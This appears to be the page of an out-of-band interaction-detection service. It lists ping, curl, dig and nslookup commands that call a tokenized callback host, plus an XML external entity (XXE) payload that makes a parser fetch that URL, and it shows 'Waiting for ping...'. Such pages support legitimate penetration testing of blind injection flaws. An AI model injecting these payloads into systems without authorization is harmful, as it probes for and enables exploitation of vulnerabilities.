$ ping -c1 -p 003f5b9ecfc9f92141781f8b5683d400 unhack.ca
 
$ curl http://unhack.ca/p/3f5b9ecfc9f92141781f8b5683d4
 
$ dig 3f5b9ecfc9f92141781f8b5683d4 @unhack.ca
 
$ dig 3f5b9ecfc9f92141781f8b5683d4.ns.unhack.ca
 
C:\> nslookup 3f5b9ecfc9f92141781f8b5683d4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3f5b9ecfc9f92141781f8b5683d4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...